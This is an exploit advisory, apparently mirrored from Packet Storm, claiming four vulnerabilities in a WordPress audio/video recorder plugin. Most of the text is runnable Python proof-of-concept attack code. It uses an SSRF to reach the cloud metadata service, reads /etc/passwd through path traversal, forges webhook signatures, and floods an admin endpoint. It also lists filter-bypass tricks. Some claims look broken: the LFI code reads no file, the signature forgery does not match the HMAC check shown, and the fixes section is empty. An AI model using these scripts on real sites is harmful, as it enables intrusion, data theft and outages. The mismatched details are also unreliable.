Lucene search
K

WordPress Pipe Audio Video and Screen Recorder 1.0.6 Bypass / LFI / SSRF

🗓️ 31 Mar 2025 00:00:00Reported by bRpsdType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 267 Views

Multiple vulnerabilities found in WordPress Pipe Audio Video and Screen Recorder version 1.0.6.

Code
# Exploit Title: WordPress Pipe Audio Video and Screen Recorder 1.0.6 - Multiple Vulnerabilities
    # Date: March 28, 2025
    # Exploit Author: bRpsd cy[at]live.no
    # Plugin Link: https://wordpress.org/plugins/pipe-audio-video-and-screen-recorder/
    # Version: 1.0.6
    # Tested on: MacOS local Xampp
    
    
    
    Vulnerability1: SSRF in File Download
    File:load/AddPipe.php
    Function: addpipe_handle_download()
    Vulnerable Code:
    ================================================================================================
    public function addpipe_handle_download() {
        // ...
        $fileUrl = isset($_POST['file']) ? esc_url_raw(wp_unslash($_POST['file'])) : '';
        $allowed_domains = ['addpipe.com'];
        $parsed_url = wp_parse_url($fileUrl);
        
        if (!isset($parsed_url['host']) || !in_array($parsed_url['host'], $allowed_domains, true)) {
            wp_send_json_error(['message' => 'Unauthorized domain'], 403);
        }
        
        $fileContent = @file_get_contents($fileUrl); // SSRF here
        // ...
    }
    ================================================================================================
    Vuln1 Python POC:
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
    import requests
    
    target = "http://example.com/wp-admin/admin-ajax.php"
    nonce = "VALID_NONCE_HERE"  # Replace with actual nonce
    
    # Craft malicious URL (redirects to internal service)
    malicious_url = "https://addpipe.com/redirect?url=http://169.254.169.254/latest/meta-data"
    
    data = {
        "action": "addpipe_download_file",
        "file": malicious_url,
        "_wpnonce": nonce
    }
    
    response = requests.post(target, data=data)
    print(f"SSRF Response ({response.status_code}):\n{response.text[:500]}")
    
    
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
    
    
    
    Vulnerability2: LFI via Quality Parameter
    File: load/AddPipe.php
    Function: addpipe_ajax_shortcode_generator()
    Vulnerable Code:
    ================================================================================================
    public function addpipe_ajax_shortcode_generator() {
        // ...
        $quality = isset($_POST['quality']) ? sanitize_text_field(wp_unslash($_POST['quality'])) : '';
        $qualityurl = "avq/" . $quality . ".xml"; // LFI here
        
        $data = [
            'qualityurl' => $qualityurl,
            // ...
        ];
        // ...
    }
    ================================================================================================
    Vuln2 Python POC:
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
    import requests
    from urllib.parse import quote
    
    target = "http://example.com/wp-admin/admin-ajax.php"
    nonce = "VALID_NONCE_HERE"  # Replace with actual nonce
    
    # Directory traversal payload
    lfi_payload = quote("../../../../etc/passwd")
    
    data = {
        "action": "addpipe_ajax_shortcode_generator",
        "quality": lfi_payload,
        "_wpnonce": nonce
    }
    
    response = requests.post(target, data=data)
    print(f"LFI Response ({response.status_code}):\n{response.text}")
    
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
    
    
    
    
    
    Vulnerability3: Webhook Signature Bypass
    File: load/AddPipe.php
    Function: addpipeWebhook()
    Vulnerable Code:
    ================================================================================================
    public function addpipeWebhook() {
        $webhook_url = admin_url('admin-ajax.php?action=addpipeWebhook');
        $received_signature = $_SERVER['HTTP_X_PIPE_SIGNATURE'] ?? '';
        $json_payload = file_get_contents('php://input');
        
        $data_to_sign = $webhook_url . $json_payload;
        $expected_signature = base64_encode(hash_hmac('sha1', $data_to_sign, $this->pipeWebhookKey, true));
        
        if (!hash_equals($expected_signature, $received_signature)) {
            wp_die('Unauthorized request', 403);
        }
        // ...
    }
    ================================================================================================
    
    Vuln3 Python POC:
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
    import hashlib
    import base64
    import requests
    
    webhook_url = "http://example.com/wp-admin/admin-ajax.php?action=addpipeWebhook"
    known_key = "WEAK_SECRET_KEY"  # Replace with guessed/exposed key
    
    malicious_payload = {
        "event": "video_recorded",
        "data": {
            "id": 666,
            "envCode": "attacker_env",
            "videoName": "hacked_recording"
        }
    }
    
    # Generate forged signature
    signature_data = webhook_url + str(malicious_payload)
    signature = base64.b64encode(
        hashlib.sha1(signature_data.encode()).hexdigest().encode()
    ).decode()
    
    headers = {
        "X-Pipe-Signature": signature,
        "Content-Type": "application/json"
    }
    
    response = requests.post(webhook_url, json=malicious_payload, headers=headers)
    print(f"Webhook Injection ({response.status_code}): {response.text}")
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
    
    
    Vulnerability4: DoS via Sync Endpoint
    File: load/AddPipe.php
    Function: addpipe_ajax_sync_deleted()
    Vulnerable Code:
    ================================================================================================
    public function addpipe_ajax_sync_deleted() {
        foreach ($this->addpipeGetRecordedRecordings() as $obj) {
            if (!$this->addpipeIsFileOnServer($obj->recording_url)) {
                $wpdb->query("UPDATE {$wpdb->prefix}addpipe_records SET active = 0...");
            }
        }
    }
    ================================================================================================
    Vuln4 POC:
    import requests
    from concurrent.futures import ThreadPoolExecutor
    
    target = "http://example.com/wp-admin/admin-ajax.php"
    nonce = "VALID_ADMIN_NONCE"  # Requires admin privileges
    
    def send_sync_request(_):
        data = {"action": "addpipe_ajax_sync_deleted", "_wpnonce": nonce}
        response = requests.post(target, data=data)
        return response.status_code
    
    # Launch 100 concurrent requests
    with ThreadPoolExecutor(max_workers=20) as executor:
        results = list(executor.map(send_sync_request, range(100)))
    
    print(f"DoS Results: {set(results)}")
    
    
    
    
    
    Defense Bypass: For LFI/SSRF:
    Use double encoding (%252e%252e%252f)
    Chain with open redirect vulnerabilities
    Exploit parser inconsistencies (e.g., ///etc/passwd
    
    
    
    Fixes:

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation